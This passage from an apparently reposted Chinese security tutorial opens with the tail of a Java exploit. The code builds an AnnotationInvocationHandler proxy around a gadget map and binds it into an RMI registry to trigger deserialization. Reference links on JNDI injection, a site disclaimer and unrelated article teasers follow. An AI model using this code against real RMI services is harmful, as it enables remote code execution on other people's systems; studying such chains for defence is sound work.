            InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS)
                    .newInstance(Target.class,
                            outerMap);
            Remote r = Remote.class.cast(Proxy.newProxyInstance(
                    Remote.class.getClassLoader(),
                    new Class[] { Remote.class }, h));
            registry.bind("liming", r);
        } catch (Exception e) {
            try {
                System.out.print(e.getCause().getCause().getCause().getMessage());
            } catch (Exception ee) {
                throw e;
            }
        }
    }
}

参考资料:

https://y4er.com/post/java-rmi/

https://www.f4de.ink/pages/152581/#rmi%E5%92%8Cjndi

Exploiting JNDI Injections in Java

Fastjson JdbcRowSetImpl利用链 · BlBana's BlackHouse

Remote Method Invocation (RMI) - Learning Java [Book]

JNDI with RMI-安全客 - 安全资讯平台

Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)

https://www.smi1e.top/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0%E4%B9%8Bjndi%E6%B3%A8%E5%85%A5/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/37863.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java集合框架详解(四)——Map接口、HashMap类、LinkedHashMap类

一、Map接口 Map接口的特点&#xff1a; &#xff08;1&#xff09;映射键值对的形式&#xff08;key和value&#xff09;&#xff1b; &#xff08;2&#xff09;Map集合中&#xff0c;key是不能重复的&#xff0c;value是可以重复的&#xff1b; &#xff08;3&#xff09;…

解决报错:fatal: Authentication failed for ‘https://github.com/*/*.git/‘

目录 问题 解决 步骤一、 步骤二、 步骤三、 ​步骤四、 ​步骤五、 步骤六、 问题 今天创建一个 github 新仓库&#xff0c;首次上传本地代码时&#xff0c;遇到了一个报错。但是&#xff0c;之前这样操作肯定是没有问题的&#xff0c;毕竟我可以保证用户名和密码都是…

复杂环境下多移动机器人路径规划研究附Matlab代码

✅作者简介&#xff1a;热爱科研的Matlab仿真开发者&#xff0c;修心和技术同步精进&#xff0c;matlab项目合作可私信。 &#x1f34e;个人主页&#xff1a;Matlab科研工作室 &#x1f34a;个人信条&#xff1a;格物致知。 更多Matlab仿真内容点击&#x1f447; 智能优化算法 …

数据结构 | 顺序栈与链式队【栈与队列的交际舞】

数据结构之栈与队列&#x1f333;顺序栈&#x1f343;前言&#x1f525;栈的结构简介及概述&#x1f525;为什么要用顺序栈&#xff1f;&#x1f525;结构声明&#x1f343;接口算法实现&#x1f35e;初始化栈&#x1f35e;销毁栈&#x1f35e;入栈&#x1f35e;出栈&#x1f3…

磨金石教育|干货分享:剪辑技法之跳切(上)

有一种剪辑手法划分了传统剪辑与现代剪辑的界限&#xff0c;它就是“跳切”&#xff1b; 跳切&#xff0c;是“切”的一种。属于一种无技巧的剪辑手法。它打破常规状态镜头切换时所遵循的时空和动作连续性要求&#xff0c;以较大幅度的跳跃式镜头组接&#xff0c;突出某些必要内…

【kafka】三、kafka命令行操作

kafka命令行操作 kafka的相关操作命令脚本文件在bin目录下 查看所有的topic kafka-topics.sh --zookeeper hll1:2181 --list 或 kafka-topics.sh --zookeeper 192.168.171.132:2181 --listkafka-topics.sh&#xff1a;topic执行脚本 --zookeeper hll1:2181&#xff1a;需要的…

[carla]把carla世界坐标系 转换为 俯视地图像素坐标系

在下面这篇参考博客中介绍了如何手动获取从carla世界坐标系到俯视地图像素坐标系的旋转平移矩阵.我也是采用了一样的思路和代码,这里把实现的过程以及最后所有地图的变换矩阵记录如下. 参考博客:carla真实世界坐标系与全局俯视地图像素坐标系变换 文章目录代码:1.carla世界坐标…

【表白】html表白代码

目录一.引言二.表白效果展示1.惊喜表白2.烟花表白3.玫瑰花表白4.心形表白5.心加文字6.炫酷的特效一.引言 我们可以用一下好看的网页来表白&#xff0c;下面就有我觉得很有趣的表白代码 下载整套表白文件 二.表白效果展示 1.惊喜表白 2.烟花表白 源码&#xff1a;新建一个文本文…

基于51单片机的温度控制系统数码管显示蜂鸣器报警proteus仿真原理图PCB

功能&#xff1a; 0.本系统采用STC89C52作为单片机 1.系统实时监测并显示当前温度&#xff0c;并通过四位数码管显示 2.超过设定阈值&#xff0c;蜂鸣器将报警&#xff0c;同时控制相应继电器实现降温或者加热 3.系统具备三个功能按键&#xff0c;可更改温度上限和下限 4.采用D…

SpringBoot+Mybatis-Plus+Thymeleaf 实现增删改查+登录/注册

SQL -- student_info create table if not exists student_info ( sid int not null auto_increment comment 学生表主键 primary key, sname varchar(20) not null comment 学生账号登录名、姓名, pwd varchar(32) not null comment 密码, sex varchar(20) not null comment …

AQS源码解析 7.共享模式_CyclicBarrier重复屏障

AQS源码解析 —共享模式_CyclicBarrier重复屏障 简介 CyclicBarrier&#xff1a;循环屏障、循环栅栏&#xff0c;用来进行线程协作&#xff0c;等待线程满足某个计数。构造时设置『计数个数』&#xff0c;每个线程执行到某个需要“同步”的时刻调用 await() 方法进行等待&…

【多目标进化优化】多目标进化群体的分布性

0 前言 \quad\quad进化算法是模拟生物自然进化的人工方法&#xff0c;与大自然生态环境一样&#xff0c;进化的物种也需要平衡发展。因此&#xff0c;设计者必须制定合适的生存规则来维持种群的多样性和分布性。在多目标进化算法中&#xff0c;对于某些问题&#xff0c;Pareto最…

微机-------可编程并行接口8255A

目录 8255A的内部结构8255A控制信息和传输动作的对应关系⭐8255A的控制字一、方式选择控制字①方式0(基本输入输出工作方式)二、端口C置1/置0控制字8255A的工作方式②方式1(选通的输入输出工作方式)③方式2(双向传输方式)⭐⭐8255的编程及应用8255A的内部结构 ①数据总线…

Steam项目推进(二)—— 在项目中使用FairyGUI

一、遇到的问题 昨天把代码大致清理了一遍之后&#xff0c;发现代码中存在很大的一个问题是数据和表现耦合在一起了&#xff0c;如下&#xff1a; using UnityEngine; using UnityEngine.UI;public enum CardStateType {InDeck, InHand, InBattle, InSave, InAbandon }//卡牌…

Cisco简单配置(十八)—OSPF

开放式最短路径优先&#xff08;Open Shortest Path First&#xff0c;OSPF&#xff09;是广泛使用的一种动态路由协议&#xff0c;它属于链路状态路由协议&#xff0c;具有路由变化收敛速度快、无路由环路、支持变长子网掩码&#xff08;VLSM&#xff09;和汇总、层次区域划分…

设计模式-组合模式(决策树)

一、只如初见 组合模式也许大家第一联想到的就是把两个模块组合起来使用&#xff0c;其实好像是这样也其实不是这样&#xff0c;废话不多说&#xff0c;学习一件新的事物总要先了解一下他的概念&#xff0c;老规矩先上概念&#xff08;摘自百度百科&#xff09;&#xff1a; 组…

【活动预告】金融大数据治理实践分享(12/03)

原创 DAMA数据管理 # 本期主题 金融大数据治理实践分享 数字化时代&#xff0c;数据的价值受到越来越多的关注&#xff0c;有人将其比作黄金&#xff0c;也有人将其比作石油&#xff0c;成为组织中的最重要资产之一。针对数据这种有特殊属性的资产&#xff0c;也存在着采集…

[论文阅读] 颜色迁移-N维pdf迁移

[论文阅读] 颜色迁移-N维pdf迁移 文章: N-Dimensional Probability Density Function Transfer and its Application to Colour Transfer, [paper ][code] 1-算法原理 简单来说, 本文将图像看作是随机变量的一组样本, 图像之间的颜色迁移可以看作是样本之间分布的迁移. 因而…

G1D23-RAGA报名蓝桥Attackg安装cudatorch

昨天太摸鱼啦~不过蛮开心的哈哈 今天主要是把积累的ddl都清理一下&#xff01;&#xff01;&#xff01;第一项就是我和舍友一起读的论文嘿嘿&#xff01;&#xff01; 一、RAGA &#xff08;零&#xff09;总结&#xff08;仅模型&#xff09; 作为数据挖掘顶会2021年的论文…

【MATLAB教程案例46】三维数据的插值和滤波处理matlab仿真

欢迎订阅《FPGA学习入门100例教程》、《MATLAB学习入门100例教程》 本课程学习成果预览: 目录 1.软件版本 2.三维数据插值